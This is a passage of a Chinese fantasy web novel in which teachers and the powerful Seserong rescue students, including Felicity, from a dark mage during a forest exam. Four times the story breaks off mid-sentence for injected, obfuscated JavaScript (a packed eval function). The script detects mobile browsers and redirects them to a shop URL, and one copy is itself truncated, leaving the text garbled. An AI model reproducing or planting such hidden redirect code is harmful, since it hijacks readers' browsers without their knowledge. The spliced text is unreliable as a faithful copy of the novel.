而因为这抬头一瞥,一直绝望战斗的他们也终于清晰地看到了正在破碎的紫黑色屏障,它在雷电的映射下十分显眼。 “这个是不是就是之前一直困住我们的法阵?!”一个女生失声喊道,尽是狂喜。 手臂受伤的女生,同时也是这支临时小队最有威信的人,抹了把糊住眼睛的血,弯腰捡起自己的法杖,背脊笔直。 她眼神坚定,自信道:“学院的援军,来了。” 队长的话让几个学生的眼睛瞬间亮起。他们都不是毫无见识的菜鸟,自然能认出之前围攻他们的那些怪物长相奇怪,早有猜测是有入侵者,只是苦于无法证实。 现在,那道奇怪的屏障和恐怖的雷光,似乎印证了他们最乐观的猜想:虽然有入侵者,但学院一方正在实施救援。 “对!一定是援军!” “我们再坚持一下!配合援军清理掉剩下的怪物,就能出去了!” “得去找找还有没有其他受伤的同学!” 尽管身体疲惫,伤口疼痛,但希望驱散了部分恐惧。他们互相搀扶,准备向更安全的方向移动,并尝试搜寻其他幸存者。 带队女生望着雷光扎进的森林深处。她心里当然清楚,单凭一道雷光根本无法断定那就是友军,甚至可能预示着更可怕的危险。但在这个时候,一个能让大家凝聚起来的希望,远比残酷的可能更为重要。 有时,照亮黑暗、让人敢于前行的,未必是真相,而是一个被迫切需要着的坚定信念。 而这样的“希望”正在南雾森林各处学生心中蔓延,支撑着他们继续战斗。 * 南雾森林外的巨树平台上,科琳站在边缘,半个身子都探了出去,棕色齐耳短发被混乱的气流吹乱。她用力抓着木栏杆,那里已经被她外泄出的火系魔力烤得发烫。 几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164950|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时前,当她带队率先抵达南雾森林外围时,就察觉到了异常。一层至少需要中级魔法师以上精神力才能清晰感知的魔法屏障,正将整个森林核心考场区域笼罩其中。 这绝非学院的考核布置! 她当时就想强行突破进去,但被领主指派的近卫队长以“情况不明,需优先上报领主,等待统一指令”为由强行拦下。争执间,她已经通过加密传讯将情况和自己的判断紧急发送给了领主。 而就在刚才,那道屏障从内部被暴力撕碎了,紧随不久,就是一阵可怕的雷柱直逼森林深处某地! 脚步声自身后传来。 “科琳老师。”穿着领主近卫制服的男人停在几步外,“领主有令,原地待命,等待援军抵达并建立联系后,再协同行动。” 科琳没回头,眼睛依然看着雷光消失的那片区域。虽然空气中的魔力波动正在平复,但那明明就是燃烧生命本源换来的爆发力。 她在东部战线的许多战友皆死于这种魔力暴走。 “科琳老师。”男人皱眉,“请遵守命令,回到安全区域。” “安全区域?”科琳终于开口,慢慢转身。 男人呼吸一滞。科琳的眼睛里布满血丝,眼神却锐利无比,一股久经沙场的煞气扑面而来。 他下意识绷紧身体,手按上剑柄。 科琳走近,仰头看他,目光却像是居高临下:“援军?什么时候到?坐标呢?作战方案呢?通讯恢复了吗?” “领主自有安排,我们只需执行……”男人试图用套话抵挡科琳咄咄逼人的气势。 “执行个屁!” 科琳打断他,声音拔高,“里面是一群学生!他们现在都还不知道是什么情况!你让我在这里待命?等你们慢吞吞的安排?!” 她往前逼近半步,周身隐隐有灼热的气流开始旋转,那是火系魔力濒临失控的前兆。 “我在前线跟敌人拼命的时候,你还在城堡里擦你的盔甲呢!现在,我给你两个选择:要么,立刻组织现有人员,跟我进去;要么,滚开,别挡我的路。” 科琳看向被男人按住的剑,挑眉道: “想用你那把剑拦我?你可以试试看。” 男人脸色变了。他得到的命令是看住这位脾气火爆的法师,必要时可以采取强制措施。但他没想到对方的反应如此激烈,更关键的是,他从科琳身上感受到了实实在在的杀意。 他紧握着剑柄,手上青筋突起,却迟迟没有拔出来。 理智告诉他应该执行命令,但本能却在疯狂预警:拔剑?面对一个情绪濒临失控但绝对强悍的魔法师?这是自杀。 就在这剑拔弩张的对峙时刻,科琳眼角的余光却捕捉到夜空中,两个微小而熟悉的身影,正歪歪扭扭地朝平台方向飞来!飞行轨迹极不稳定,其中一个教胖的身影明显是在拖拽着另一个,魔力波动紊乱,显然已是强弩之末。 科琳自然一眼认出了自己的学生和年级里有名的尖子生。 近卫队长也立刻注意到了,他眼神一厉,闪过一丝惊疑。领主府之前的通报明明是说“考场内部学生暂无危险”,可现在看来却与情况截然相反! 科琳不再看队长一眼,周身压抑的火焰魔力轰然爆发,炽热的气浪以她为中心向四周散开。一对由烈焰构成的翅膀在她背后展开,热风呼啸,吹得人睁不开眼。 下一秒,她便从平台边缘跃下,划破夜空,径直朝着那两个摇摇欲坠的学生迎去! 22. 结束 森林深处,曾禁锢铃铛的山谷中。 塞瑟隆单手插兜站在巨石崩碎后留下的深坑边,另一只手随意地转着一柄小刀。 他身后横七竖八地铺着一地的魔物尸体。 死得都很利落。 每具尸体上都只有一个伤口,位置精准,深浅一致,直接击中致命点。它们脸上残留的凶戾都还没来得及在脸上转化成恐惧,就已经凝固在了扑击的那一瞬间。 塞瑟隆抬起头,看着高不见顶的巨树,为自己的速度叹了口气: “跑得还挺快。” 他遥遥看向森林另一头,那道撕裂夜幕的雷柱早已消散,但哪怕距离如此遥远,他也依旧能够精准捕捉到空气中残留的魔力轨迹。 “天赋不错。”他自言自语着,“就是目前情况有点危险。” 魔力暴走其实就是施法者体内魔力失控。 最开始的确会爆发出源自体内的力量,无差别对外进行攻击,但如果不能及时清醒过来,后期的所有攻击将会反噬作用在本体身上,严重的甚至会危及生命。 塞瑟隆不爽轻啧,他这具受伤的身体限制太多,无法承受远距离的瞬移,如果强硬施展,那么他有很大机率会被空间扭曲撕碎。 “我这就来。” 他稍倾身体,膝盖微曲,像是一头气势汹汹的黑豹,脚后跟离开地面的瞬间,地面以立足点为圆心,迸裂出数道裂痕。 而人,已经从原地消失。 他在林间快速穿梭着,脚尖在枝头一点,再次弹出,身影消散在黑暗之中。 所过之处,魔物们纷纷瑟缩臣服,这是源自本能的恐惧。 * 岩洞内。 菲莉西蒂四肢被禁锢住,全身不住地抽搐,黑雾凝聚的刀刃牢牢锁定着她。 黑袍人站在离她几步远的空中,隔空对着菲莉西蒂腰间布包一抓。 一股吸力便扯住那个已经湿透的布包,硬生生将它从菲莉西蒂腰间拽了下来,送到黑袍人手里。 在布包离身的瞬间,菲莉西蒂身体猛地一颤。 喉咙里溢出压抑不住的痛苦呻吟,想要蜷缩起来却被死死抓住四肢,周身的雷光原本只是无序乱窜,此刻却变得狂暴,狠狠刺向她自身。 这是魔力暴走后期的典型症状。 “可惜了。” 虽然这么说,但黑袍人的声音里却毫无惋惜,反而有幸灾乐祸的意味,毕竟刚刚自己的确是险些被一个未成年的学生给压制,这实在有点丢人。 “虽然上头说要保证你的安全,但这股魔力,可不是我能镇压下去的。” 他其实还有点遗憾,没能把那双琥珀色的眼睛挖出来,但现在变成这样也没什么泄愤的意义了。 反正她最后都会痛苦地死去。 黑袍人收回思绪,不再看空中痛苦挣扎的少女。他将手中的布包倒过来,毫不留情地一抖。 里面的东西被黑雾们兴高采烈地分取。 几块被水泡得发胀变形的干粮。一小罐破裂的蜂蜜罐。一本完全湿透的笔记本,字迹已经糊成一团团模糊的墨迹。以及其他一些七七八八的杂物。 只有两个东西被黑雾献宝似的奉上。 一颗琥珀色的珠子,内里蕴含着强大的魔力波动,还有一枚看上去破破烂烂的银白色铃铛。 黑袍人的目光在这两件东西之间来回移动,选择快速跳过那颗珠子。 到底哪个才是灾厄魔器? 他这次前来,是因为组织通过某种渠道,模糊探测到南雾森林深处封印着一件灾厄魔器,但具体是哪一件,又长什么样,信息并不明确。灾厄魔器虽在苍白之灾中威名远扬,但明确被外人所知形态的只有一件,另外四件被持有的黑魔法师藏得严严实实。 但不管是哪一件,带有魔王之力的魔器一定不是俗物。 可是,眼前这两件……都不太像。 尤其是那个铃铛,看上去就像是这个女孩带的装饰品。 他犹豫了一会,通过埋设在面具内侧的传声符文,试图向上级确认:“目标已控制,发现两件疑似器物,能量反应均不符预期,请求进一步确认。” 另一头没有任何回应。 黑袍人眉头紧皱。 不祥的预感涌上心头。大人曾说过,森林屏障有时会伪装破裂,用以迷惑,那时需要加快行动,但从未提过通讯会被切断。 除非,他被抛弃了。 这个念头刚冒出来,就被他死死按了回去。 不可能。大人亲口承诺过,只要他完成这次任务,带回灾厄魔器,就会动用资源,帮他彻底修复这具不断溃烂、需要靠黑魔法勉强维持的身体,让他真正活过来,不必再当一具行走的傀儡。 那是他苟延残喘至今的唯一指望。 大人是不会骗他的! 黑袍人颤抖着压下心底的慌乱。他决定不再犹豫,既然分辨不出,那就全部带走。连同空中那个已经濒临崩溃的少女一起。 总有一件是对的,总有一个结果能让大人满意。 他伸出手,正打算先拿那颗琥珀珠子,眼不见心不烦—— “我建议你拿另一个。” 已经全部溢满湖水的洞底,不知何时多了个黑发男人,他抱胸站立在水面上,身姿挺拔。 黑袍人认识这张脸。 或者说,整个黑魔法师阵营,从活人到亡灵,没有人不知道这张脸。 塞瑟隆·奥布莱顿。 那个在苍白之灾中,凭一己之力攻破军团防线,最终被内部列入“绝对不可正面冲突”名单榜首的怪物。 他怎么会在这里?! 黑袍人脑中一片空白。所有的算计、任务、对修复身体的渴望,在这一刻全被发自内心的恐惧抛脑后。 塞瑟隆的目光先是在黑袍人脚下那堆杂物上快速扫过,自然注意到了那枚正在努力把自己伪装成一块废铁的铃铛。但他没有丝毫停留,随即抬起,落在了被禁锢在半空中、浑身是血的菲莉西蒂身上。 瞬间,黑袍人四肢均传来被碾碎的剧痛,他痛叫着扭曲瘫倒,死死捂住喉咙,清晰感受到周围的空气被逐渐抽空。 他脚下的黑雾平台开始不受控制地溃散,禁锢住菲莉西蒂的黑雾也开始消散,她身体一软,从半空坠落。 塞瑟隆早已挥手,湖水自动向上涌起,凝结成叶片形状,稳稳接住了她下坠的身体,而后慢慢降落在水面上,同时一股强劲的魔力也将其覆盖,菲莉西蒂一直紧紧皱着的眉头也逐渐放松。 直到这时,塞瑟隆才真正看向黑袍人。 “我有点事要问问你。” 他迈步朝黑袍人走来。鞋底与水面接触的地方荡开一圈圈涟漪,但鞋面半点未湿,如履平地。 “谁派你来的?”他问,开始凭空向上迈步,好像是在踩着阶梯肆意漫步,“找灾厄魔器有什么目的?” “还有——”他停在已经痛苦不堪的黑袍人面前,声音冰冷,“你们抓这孩子,是为了什么?” 黑袍人想要抓住眼前人求饶,但早已断裂的四肢和强烈的窒息感让他不住地在黑雾上扭动。空气慢慢恢复,他知道这是塞瑟隆给他回答问题的机会。 他挣扎着想开口,想用他知道的一切换取一个也许根本不存在的宽恕机会—— 就在这时。 黑袍人感觉胸口一热。 他茫然低头,看见自己胸口的黑袍布料下,透出一个暗红色的明亮符文。符文结构 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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菲莉西蒂紧蹙的眉头渐渐松开,她睫毛颤了颤,极其艰难地张开双眼,露出茫然涣散的琥珀色瞳孔。她似乎想看清眼前的人,嘴唇无力地翕动。 但最终,什么声音也没能发出,眼皮沉沉落下,整个人彻底陷入昏迷。 塞瑟隆收回手,静静看了她几秒。 “抱歉,我来晚了。小同学,你真的很棒……撑到现在。” 塞瑟隆脱下自己的外套,在弄干菲莉西蒂身上残留的水珠后,仔细地裹在她身上,将她从头到脚严实地包好。他弯下腰,双臂小心地穿过她的腿弯和后背,将她横抱起来。 水凝成的叶片随之消散,汇入湖中。 “让老师送你回家。” * 南雾森林外的某处树林。 空气剧烈扭曲,涌出黑雾,一道披着黑袍的身影踉跄着跌了出来,重重摔在地上。 “咳咳!” 卡利佩丝撑着地面,狠狠咽下从喉咙反涌出的血,满口腥甜。 强行中断远程契约,又透支魔力施展超远距离的瞬移,果然对她来说还是太勉强了。 果然,流传的“神眷者在苍白之灾中身受重伤”消息是真的,否则,她是绝不可能在塞瑟隆·奥布莱顿的眼皮子底下逃脱的。 她逃出来了。 却也失败了。 灾厄魔器?呵,反正在这里的并不是她想要的那一件, 上面那群迂腐的老家伙们听说南雾森林可能有魔器封印的模糊情报,催着她来回收。她原本也只打算过来问问其它消息,顺便试验一下新改造的实验品在实战中的稳定性。 只是没想到—— 卡利佩丝撑在地上的手死死握拳,喘息着摇摇晃晃站起。最后看了一眼南雾森林的方向,猩红的舌尖缓缓舔过嘴唇,她轻声呢喃: “等着我,1号。” “我会带你回家的。” 风呼啸而过,黑影踉跄着,一步一步走入黑暗之中,消失不见。 23. 醒来 在漆黑的南雾森林中,一抹耀眼的红焰快速移动着。 科琳沉着脸,快速在树木间穿梭着。她身后跟着几名护卫队队员,哪怕行动敏捷,却勉强才能跟上科琳的速度。 “东北方向有战斗动静。”一名负责侦察的队员有序报告,“至少有五名考生,被多只魔物围攻。” 科琳立即下达命令:“带你的人去清场。记住,学生优先。如果遇到黑魔法师,别硬碰,发送传声魔法给所有队伍的负责人。” “明白。”他点头,调转行动方向,有几人跟着也迅速消失在树影中。 剩下几个留在科琳身边,一路上负责协助科琳营救学生。科琳身后火焰炸开,托着她整个人往前冲刺,她脑子里全是方才安顿赞达时,他哭得稀里哗啦却依旧努力告知情况的脸,还有艾特南手臂上那些狰狞的绿色纹路。 正是因为有学生的亲口承认,犹豫不决的护卫队才不再阻拦科琳,迅速跟随他她进入森林,也同时正式向学院和军队呼叫紧急救援。 ——菲莉西蒂正在直面黑魔法师。 这是赞达撕心裂肺传达的消息。 科琳咬牙,速度再次加快,向着艾特南预先标记的地点飞速前进。 沿途的景象越来越糟。 断裂的树木,魔物特有的腐臭味,还有正被援军架着的伤员。 就快到了。 科琳感受着标记越来越近,却猛地停住。她身后努力追赶的队员喘着气,不明白这位急着救人的老师怎么突然停了下来,他们顺着她的视线看去:“科琳老师,你怎么——” 他们看见了一个男人。 站在高处的枝干上,黑色短发,红色眼瞳,怀里抱着个被外套裹得严严实实的人,看轮廓与脚部露出的法袍,应该是个学生。 科琳当然认出了眼前男人的身份,她下意识敬礼以示尊重,这是战争期间士兵对于将领的礼节。她并没有细想为什么远在梵希兰德的奥布莱顿家主会出现在这里,只是焦急想要向他说明黑魔法师的事。 如果是这个人在的话,就没什么需要担心的了。 就在她要出口时,脑海中就接收到了塞瑟隆的传声魔法。 【科琳指挥官,好久不见~森林内已无黑魔法师,可以放心。但我这里有个孩子可能需要你的帮助。】 科琳诧异,没想到只是一次临时作战的接触,塞瑟隆还能记得她的名字。科琳的目光这才真正聚焦到对方怀里那个被仔细包裹着的人影上,方才因光线昏暗未能第一时间辨认,此刻细看那露出的半张苍白侧脸—— 是菲莉西蒂。 科琳一直高悬的心才终于落回实处,但对方如今的样子也说不上情况安全。 她立刻通过传声魔法回应,急切道:【阁下!请问这孩子怎么了?】 【还活着。】即使现在是用传声,塞瑟隆还是放低了声音,【但情况不太好。魔力暴走,反噬严重,我暂时压制下去了,还是得尽快处理。】 魔力暴走? 科琳心里惊讶,立即想到了先前所见的狂暴雷柱。 那种等级的魔力暴走攻击,竟然是由魔力储量一向少得可怜的菲莉西蒂引起的?! 【多谢阁下出手。】科琳压下心中的疑惑,郑重道谢,【这里是希尔维斯特的升学考场,不知为何混入了黑魔法师和魔物,我们正在组织营救考生。】 对方的传声再次响起:【这孩子体内暴走的魔力只是暂时压制,仍需持续疏导,不便在此久留。我先带她离开,后续稳定后会再与你联系~】 科琳没有犹豫,曾经在塞瑟隆手下干过一阵子的她由衷相信对方的人品:【明白。再次感谢!】 尾音有些颤抖,如果不是塞瑟隆及时出现,她实在不敢相信魔力暴走的菲莉西蒂如今又会是什么情况。 塞瑟隆不再多说,脚下一点,人已经腾空而起,快速从原地消失。 直到那身影彻底看不清了,科琳才缓缓松了一口气。 “科琳老师,”身后一名队员上前一步,方才他们都注意到了双方的传声魔法,不敢出言打搅,低声询问,“那我们现在是?” 科琳利落转身,已恢复冷静的她沉稳布置任务:“黑魔法师已清除。现在的首要任务就是确认所有考生安全,搜救伤员,清理残余魔物,遇到任何情况,即时汇报。” “是!”队员们齐声应道,并将消息迅速传递给其它队伍。 天边,第一缕真正的晨光,终于穿透厚重的云层。 天亮了。 * 希尔维斯特主城,一家不起眼的树屋旅馆内。 塞瑟隆抱着菲莉西蒂从走廊的窗户翻入时,他房间前守着的两个人还在争吵。 “家主大人不是让你好好看着阁下吗?!怎么一转眼人就不见了!” “你又不是不清楚!以塞瑟隆阁下的性子,怎么可能乖乖在房间待着!” 他刚落地,说话的年轻男人立马停下辩论,脸上毫无背后议论长官的尴尬,赶忙迎上,焦急道:“阁下,您——” “嘘。”塞瑟隆将食指放至唇前示意,表情难得认真。 男人立刻闭嘴,目光落在塞瑟隆怀里那个被裹得严严实实的女孩身上,眼中闪过疑惑,但没敢出声询问。 怎么阁下出去一会,还带了个孩子回来? 他冲另一位肩负“照顾”阁下使命的同事安莉卡使眼色,却依旧如往常一样,只得到她的一记白眼。 塞瑟隆走进房间,小心翼翼地把女孩放在柔软的床上。女孩无知觉地躺着,双目紧闭,脸色苍白,黑色长发铺散在枕上,更衬得脸小巧得近乎稚气,也正因如此,她脸上的血迹也显得格外刺目。 塞瑟隆眉头蹙起,打了个极轻的响指。床头矮柜上叠放的干净毛巾应声浮起,一股温热的水流凭空涌出,浸透毛巾。他伸手接住,双手拢着拧干,轻轻擦去女孩脸上的血痕。虽然他已经有意识地减轻力度,但依旧在苍白细嫩的皮肤上留下了显眼的红痕。 塞瑟隆难得地反思了一下。 难道……自己真的不适合照顾孩子? 这念头让他有点烦躁。塞瑟隆索性站起身,打算去外面把安莉卡叫进来。可才刚迈出两步,身后床铺便传来窸窣的动静。 塞瑟隆赶紧回头。床上的女孩不安地动了动,却没有醒来,只是皱起脸,手指无意识地抓住了身下的床单。原本已被他强行压制下去的躁动雷元素,似乎因他的远离而失去束缚,又开始蠢蠢欲动。 没有一点犹豫,塞瑟隆立马又坐回床边。 在他坐定的瞬间,女孩眉头舒展,又重新规矩地把手交叠着放回小腹前,就像蜷缩在巢中的幼鸟,只有确认庇护者在身旁,才能安心地睡去。 塞瑟隆拿过一旁叠放的薄毯,笨拙地盖在女孩身上。他看着眼前安静躺着的孩子,难得回忆起了一些久远的事。 奥布莱顿家的继承人生来就是被众星捧月的存在。自他记事起,塞瑟隆·奥布莱顿的世界就被无止境的训练充斥,人生的所有阶段都被精确规划。傲人的天赋更是让他聚于众目睽睽之下,承担起家族的未来是所有族人对他的期许。 照顾人? 那不是他需要学习的技能,自有无数双手会为他打点好一切。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164952|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞瑟隆·奥布莱顿只需要强大,只需要像一柄出鞘即见血的利剑,永远悬在奥布莱顿家族的徽记之上,震慑众人。 在按部就班进入大多由贵族才能就读的顶尖学院后,在极为日常的一天中,他如往常般与自己的死对头兼队友在训练场中央对骂着。 你一言我一语,从刚才某个法术的释放时机吵到对方的发型,总是笑眯眯当和事佬的老好人队长忍无可忍地插到两人中间,对一向引发争吵的罪魁祸首叹气: “塞瑟隆,你这家伙以后要是有了孩子怎么办?就你这脾气,不得把孩子吓哭?” 塞瑟隆当时正擦拭自己新买的刀刃,头也没抬:“该教教,该练练。” “哈?”被劝下后没办法好好收拾对方的红发女人不爽抱胸站在一旁,无语至极,“你以为养孩子是训练士兵呢?” 塞瑟隆眉头微挑:“不然?” 红发女人冷笑,看向他的琥珀色眼睛中带着“无药可救”的肯定:“你还是一个人孤独终老吧,别祸害别人家好姑娘了。至于照顾孩子——” 她摇头,语气斩钉截铁:“你绝对不行!” 当时的塞瑟隆嗤之以鼻。 他学什么不是一学就会?照顾个孩子能有多难? 他甚至在闲暇时还漫不经心地预想过:如果自己将来有了孩子,会是什么样呢? 唔,反正他会是一个强大可靠、令孩子骄傲的父亲! 年轻的塞瑟隆绞尽脑汁也只能想到这一点,他所经历的温情太少,根本不知道正常的家庭相处模式是何种形式。 那时的他,年轻气盛,站在天赋与家世堆砌的高塔上,立于众人面前,认为强大可以解决一切问题。 直到苍白之灾爆发,所有的一切都改变了。 如今,看着女孩脸上那抹被自己不小心擦出的红痕,塞瑟隆翘着腿,手肘撑在膝盖上支着脸。 唔,奥莉那家伙好像终于说对一次。 正因盯得久了,塞瑟隆才注意到抱着女孩的外套口袋在不安分地蠕动,他像终于想起什么似的拍了下脑袋,伸手将铃铛掏了出来。他起身,在房间书桌前布下一层静音屏障,隔绝开了沉睡的女孩。 塞瑟隆随手将正在装死的铃铛扔在桌上,笑眯眯地说:“好久不见呀!我不是让你好好待着反省吗?怎么出来的?” 铃铛一动不动,缝隙闭得严严实实,装着自己就是个普通的饰品。 塞瑟隆知道那是眼前这个灾厄魔器的嘴巴,他心平气和道:“我知道你没办法和我说话,但我记得你好像也会传声魔法来着。” 塞瑟隆眼尾上挑,笑着和它打商量:“你把我想知道的告诉我,然后我再给你挑个好地方再封起来,好不好?” 这个不要脸的神眷者! 铃铛开始发抖,有气的,更多还是吓的。 “行。” 看它还是不愿意妥协,塞瑟隆也不生气,手腕一转,一柄小刀瞬间出现在他的手中。 刀身在他指间转了一圈,然后刀尖朝下,猛地钉在了铃铛一旁的桌上。 离它的身体就只有极短的距离。 铃铛跳了起来,头顶的金链子狂抖,表面的暗纹开始亮起微光,昭示着它的屈服。 塞瑟隆正兴致勃勃地等着呢,就看到它突然一下灭了,身体滚动着将缝隙对准某个方向,一张一合,不知在说些什么。 怎么回事? 塞瑟隆好奇跟着看去。 一双琥珀色的眼睛,茫然地对上了他的视线。 把方才某人试图以武力胁迫弱小铃铛的样子看得一清二楚。 24. 身份暴露 一个头发全被剃光的孩子蜷缩在床上,四周一片漆黑。 瘦弱的身体被白袍遮盖,露出的皮肤上密密麻麻尽是针眼和伤口。黑暗像怪物,把孩子吞进肚子。只有无尽的孤独,一直陪伴着她。 疼。能听见水晃荡的流声。好冷。 孩子一如既往地抱住自己。 好痛啊。实验什么时候才结束? 等一切都结束了,爸爸妈妈就该来接1号了吧? 好像还有谁在叫,又哭又喊的,吵死了。孩子皱起眉,瘦得硌手的手捂住耳朵,把自己蜷得更紧,微弱地发出抗议。 1号现在全身都难受,不要吵了。 水慢慢上涨。先是湿了床脚,之后漫过床面,冰凉刺骨。孩子的脸贴上水面,她打了个哆嗦,想翻身,可全身都在痛,四肢软绵绵的,抬不起来。 ……算了。 就这样吧。 水淹到下巴。孩子呛了一口,冰冷的液体冲进喉咙,她剧烈地咳嗽起来。脖子上的链条哗啦响,另一头死死拴在床头,像是等待下手的侩子手。 她为什么还活着? 那个声音在水里变得模糊起来,但还是好吵。 水珠挂在睫毛上,分不清是即将要吞没她的水,还是被绝对禁止的情绪外露,孩子看着黑暗,在嘈杂声中也无法如愿睡去。 但那声音锲而不舍,呼唤着,和其它稚嫩的、兴奋的、熟悉的声音混杂在一起:“菲莉西蒂!” 骨瘦如柴的手发抖地撑着湿透的床板,伤口裂开,她用尽全身力气,把自己翻了过来,仰面朝上。 她想抬头呼吸,脖子上的链条却猛地绷紧,死命将她拉下。那个吵闹的声音终于清晰—— “菲莉西蒂!快点醒来啊!” 主角的声音? 孩子突然想到。 谁是主角? 铃铛,南雾森林,黑魔法师…… 记忆开始苏醒。 孩子,不,是菲莉西蒂,用那只满是伤痕的手,拼命向上伸去! 一只温暖的大手,稳稳握住了她。 链条断裂,一股不容抗拒的力量将她向上拽去。 “哗啦!” 头冲破了冰冷的水面,撞进坚硬的温暖里。有人紧紧抱住了她,带着令人安稳的气息。 疼痛迅速消散,却而代之的是难得的惬意。 菲莉西蒂艰难地睁开了双眼。 头顶是木色的天花板,全身暖和和的,很舒服。 “菲莉西蒂!你醒了是不是!快救主角呜呜呜!” 主角稚嫩的童音通过契约在她脑海里大喊。 她循声转头,看见了—— 那名只见过一面的新老师,手握小刀,插进铃铛身旁,刀刃距离极近。 而铃铛正在疯狂震颤,裂缝一张一合。菲莉西蒂能通过灵契清晰听见它语速惊人的哭嚎: “要死了要死了要死了!救命啊菲莉西蒂!这个疯子他真的要下手了!他说要把主角重新封起来还要挑个更烂的地方!哇啊啊啊——” 而新老师微偏着头,红色眼眸半眯着,脸上因为没有表情而显得有些凶狠,但菲莉西蒂莫名觉得,他好像……有点乐在其中? 就在这时,他若有所觉般侧头看了过来。 两人的视线在空中撞个正着。 菲莉西蒂眨眼。 他也眨了眨眼。 然后,新老师手腕极其自然地向上一抬,刀尖离开桌面,手指微转,那柄看上去极为锋利的小刀只在空中划出一道痕迹便迅速消失,仿佛从未出现过。他将铃铛收回手中,迅速走向菲莉西蒂,脸上挂起一个堪称灿烂的笑容,好像铃铛哀嚎的对象另有其人。 “哟,小同学,醒啦?”他在床边坐下,小心将菲莉西蒂扶起,从一旁的矮柜上端起一杯温水,“感觉怎么样?还难不难受?” 菲莉西蒂没顾得上接过,明明自己才刚从危险中脱离,却还是慌忙道: “森林里还有其他同学……” “都安全了。”新老师接过她的话头,“黑魔法师已经清理干净,屏障破了,科琳老师正带着人搜救,援军应该也到了。” 他刚刚已经感受到有许多魔力波动朝南雾森林飞去,营救应该不成问题。 菲莉西蒂终于放松下来,长长舒了一口气。 伽斯缇……他真的把消息传出去了,太好了。 新老师看她这样,笑着起身,把房间里唯一一把木椅拖了过来,反着跨坐上去,手臂搭在椅背,姿态松散。 他用指节轻敲椅背,将菲莉西蒂放松后看向铃铛的目光吸引回来,表情一板,模仿着某种官方腔调:“现在是!锵锵!正经的自我介绍环节!” 不顾菲莉西蒂懵掉的表情,他继续抑扬顿挫道:“本人,塞瑟隆·奥布莱顿!” 他顿住,期待地看向菲莉西蒂。 脑海中的童音一时没理清情况,声音颤抖:“他是不是疯了?!” 而菲莉西蒂张大嘴巴,犹豫卡顿地张开又合上,最后还是小声回答:“本…本人,菲莉西蒂。” 主角不解,主角震惊:“不是!你怎么还真和他对上了!?” 新老师,也就是塞瑟隆夸张地张大嘴巴,将水递给菲莉西蒂,之后就用戴着黑手套的手并拢捂住:“天哪!好棒的名字!我超级喜欢!” 菲莉西蒂害羞握着水杯:“谢谢,老师您也是。” 主角已经完全忘记了自己刚刚有多么崩溃,因为现在的局面已经远远超出了它的理解,这已经可以和它曾经做过的梦“安格瑞姆跪下称赞主角”相比拟了。 塞瑟隆示意菲莉西蒂喝水,并继续咳嗽一声,继续刚刚的模仿腔调:“请问,菲莉西蒂小姐,您现在的身体状态如何呢?毕竟魔力暴走可是很难受的哦!” 菲莉西蒂轻抿一口,认真回答:“我好多了,老师!” 她原来是魔力暴走了吗?但按照她的魔力储量,应该也没多大威力。 塞瑟隆正经摇头,哪怕坐着的椅子前后被他带着前后晃动,把营造出来的严肃气氛全部破坏掉,他用夸张的语调着重说明: “你这次魔力暴走,动静不小,但没有暴露你体内魔偶核心的能量波动。普通检测可以糊弄过去,但如果你想进入高级魔法学院——” 他回忆了一下,确定后自我肯定地点头。 “他们的入学检测装置是奎达因家族新发明的,精度很高。你最好提前想想办法,能不能屏蔽掉部分核心检测。不然,可能会有点小麻烦。” 在听到前半段时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164953|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本还笑着的菲莉西蒂顿时僵在床上,手指死死攥住毛毯,后面的话已经模糊不清,只有一个念头在脑子里回荡: 他知道了。 塞瑟隆看着她惨白的脸和僵硬的身体,沉默了几秒。 接着,他脸上平静的表情突然垮掉,整个人向后一仰,爆发出惊天动地的大笑。 “哈哈哈哎哟!”他笑得肩膀直抖,一只手捂着肚子,眼角甚至流出了生理性的眼泪,“不好意思,你居然就这么认了?!” 他笑够了,才喘着气伸出一根食指,在浑身僵硬的菲莉西蒂面前晃了晃,表情极为认真。 “记住,菲莉西蒂,这是我教你的第一课!”他煞有介事,“以后要是有人这么套你话,不管他说得多真、看起来多肯定,记住!死、也、别、认!” 他压低声音,像传授独家秘籍:“你就瞪大眼睛,摆出最无辜最茫然的样子,然后咬死三个字:‘不知道’。来,跟我学——” 还没说完,塞瑟隆就瞬间变脸,他微微睁大眼,歪了歪头,红眸里尽是困惑:“我不知道你在说什么。” 演技十分精湛,毫无破绽。 主角狂骂:“我受不了了!” 菲莉西蒂:“……” 